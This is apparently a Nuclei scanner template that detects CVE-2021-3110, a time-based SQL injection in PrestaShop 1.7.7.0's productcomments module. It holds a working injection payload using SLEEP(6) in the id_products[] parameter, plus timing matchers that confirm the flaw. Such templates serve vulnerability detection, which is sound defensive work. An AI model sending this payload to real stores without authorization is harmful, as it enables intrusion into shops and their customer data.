id: CVE-2021-3110

info:
  name: PrestaShop 1.7.7.0 SQL Injection
  author: Jaimin Gondaliya
  severity: critical
  description: |
    The store system in PrestaShop 1.7.7.0 allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3110
    - https://medium.com/@gondaliyajaimin797/cve-2021-3110-75a24943ca5e
    - https://www.exploit-db.com/exploits/49410
  metadata:
    verified: true
  tags: cve,cve2021,sqli,prestshop

requests:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(6)))xoOt)"

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "average_grade")'
        condition: and